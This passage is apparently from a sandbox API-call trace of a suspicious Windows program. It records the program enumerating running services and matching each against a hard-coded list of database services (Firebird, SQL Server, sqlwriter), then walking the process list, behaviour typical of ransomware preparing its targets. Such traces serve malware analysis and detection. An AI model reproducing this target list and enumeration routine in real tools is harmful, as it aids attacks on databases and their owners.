(lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e118 [0187.608] EnumServicesStatusExW (in: hSCManager=0x408e118, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0187.609] GetLastError () returned 0xea [0187.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4052988 [0187.609] EnumServicesStatusExW (in: hSCManager=0x408e118, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4052988, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4052988, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0187.610] CloseServiceHandle (hSCObject=0x408e118) returned 1 [0187.611] lstrlenW (lpString="Appinfo") returned 7 [0187.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0187.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0187.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0187.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0187.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0187.611] lstrlenW (lpString="AppXSvc") returned 7 [0187.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0187.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0187.611] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0187.611] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0187.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0187.611] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0187.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.611] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0187.611] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0187.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0187.611] lstrlenW (lpString="Audiosrv") returned 8 [0187.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0187.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0187.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0187.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0187.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0187.612] lstrlenW (lpString="BFE") returned 3 [0187.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0187.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0187.612] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0187.612] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0187.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0187.612] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0187.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0187.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0187.612] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0187.612] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0187.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0187.612] lstrlenW (lpString="CDPSvc") returned 6 [0187.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0187.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0187.612] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0187.612] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0187.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0187.612] lstrlenW (lpString="ClickToRunSvc") returned 13 [0187.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0187.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0187.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0187.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0187.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0187.612] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0187.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0187.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0187.613] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0187.613] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0187.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0187.613] lstrlenW (lpString="CryptSvc") returned 8 [0187.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0187.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0187.613] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0187.613] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0187.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0187.613] lstrlenW (lpString="DcomLaunch") returned 10 [0187.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.613] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0187.613] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0187.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0187.613] lstrlenW (lpString="DeviceAssociationService") returned 24 [0187.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0187.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0187.613] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0187.613] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0187.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0187.613] lstrlenW (lpString="Dhcp") returned 4 [0187.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0187.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0187.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0187.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0187.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0187.614] lstrlenW (lpString="Dnscache") returned 8 [0187.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0187.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0187.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0187.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0187.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0187.614] lstrlenW (lpString="DPS") returned 3 [0187.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0187.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0187.614] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0187.614] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0187.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0187.614] lstrlenW (lpString="DusmSvc") returned 7 [0187.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0187.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0187.614] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0187.614] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0187.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0187.614] lstrlenW (lpString="EventLog") returned 8 [0187.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0187.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0187.614] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0187.614] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0187.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0187.615] lstrlenW (lpString="EventSystem") returned 11 [0187.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0187.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0187.615] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0187.615] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0187.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0187.615] lstrlenW (lpString="FontCache") returned 9 [0187.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0187.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0187.615] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0187.615] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0187.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0187.615] lstrlenW (lpString="gpsvc") returned 5 [0187.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0187.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0187.615] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0187.615] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0187.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0187.615] lstrlenW (lpString="iphlpsvc") returned 8 [0187.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.615] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0187.615] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0187.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0187.615] lstrlenW (lpString="KeyIso") returned 6 [0187.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0187.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0187.616] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0187.616] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0187.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0187.616] lstrlenW (lpString="LanmanServer") returned 12 [0187.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0187.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0187.616] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0187.616] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0187.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0187.616] lstrlenW (lpString="LanmanWorkstation") returned 17 [0187.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.616] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0187.616] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0187.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0187.616] lstrlenW (lpString="lfsvc") returned 5 [0187.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0187.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0187.616] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0187.616] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0187.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0187.616] lstrlenW (lpString="lmhosts") returned 7 [0187.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0187.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0187.616] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0187.616] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0187.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0187.617] lstrlenW (lpString="LSM") returned 3 [0187.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0187.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0187.617] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0187.617] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0187.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0187.617] lstrlenW (lpString="MpsSvc") returned 6 [0187.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0187.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0187.617] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0187.617] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0187.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0187.617] lstrlenW (lpString="NcbService") returned 10 [0187.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0187.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0187.617] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0187.617] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0187.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0187.617] lstrlenW (lpString="netprofm") returned 8 [0187.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0187.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0187.617] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0187.617] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0187.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0187.617] lstrlenW (lpString="NgcSvc") returned 6 [0187.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0187.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0187.618] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0187.618] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0187.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0187.618] lstrlenW (lpString="NlaSvc") returned 6 [0187.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0187.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0187.618] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0187.618] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0187.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0187.618] lstrlenW (lpString="nsi") returned 3 [0187.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0187.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0187.618] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0187.618] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0187.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0187.618] lstrlenW (lpString="PcaSvc") returned 6 [0187.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0187.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0187.618] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0187.618] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0187.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0187.618] lstrlenW (lpString="PlugPlay") returned 8 [0187.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0187.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0187.618] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0187.619] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0187.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0187.619] lstrlenW (lpString="Power") returned 5 [0187.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0187.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0187.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0187.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0187.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0187.619] lstrlenW (lpString="ProfSvc") returned 7 [0187.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0187.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0187.619] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0187.619] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0187.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0187.619] lstrlenW (lpString="RpcEptMapper") returned 12 [0187.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.619] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0187.619] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0187.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0187.619] lstrlenW (lpString="RpcSs") returned 5 [0187.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0187.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0187.619] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0187.619] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0187.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0187.619] lstrlenW (lpString="SamSs") returned 5 [0187.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0187.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0187.620] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0187.620] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0187.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0187.620] lstrlenW (lpString="Schedule") returned 8 [0187.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0187.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0187.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0187.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0187.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0187.879] lstrlenW (lpString="SecurityHealthService") returned 21 [0187.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0187.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0187.879] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0187.879] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0187.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0187.879] lstrlenW (lpString="SENS") returned 4 [0187.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0187.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0187.879] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0187.879] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0187.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0187.879] lstrlenW (lpString="ShellHWDetection") returned 16 [0187.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.879] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0187.879] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0187.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0187.879] lstrlenW (lpString="Spooler") returned 7 [0187.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0187.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0187.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0187.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0187.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0187.880] lstrlenW (lpString="StateRepository") returned 15 [0187.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0187.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0187.880] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0187.880] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0187.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0187.880] lstrlenW (lpString="SysMain") returned 7 [0187.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0187.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0187.880] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0187.880] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0187.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0187.880] lstrlenW (lpString="SystemEventsBroker") returned 18 [0187.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0187.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0187.880] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0187.880] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0187.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0187.880] lstrlenW (lpString="Themes") returned 6 [0187.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0187.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0187.880] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0187.880] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0187.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0187.880] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0187.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0187.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0187.880] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0187.880] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0187.881] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4052988 | out: hHeap=0x420000) returned 1 [0187.881] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x454 [0187.886] Process32FirstW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.887] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0187.887] lstrlenW (lpString="System") returned 6 [0187.887] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0187.887] lstrlenW (lpString="smss.exe") returned 8 [0187.887] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.888] lstrlenW (lpString="csrss.exe") returned 9 [0187.888] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, 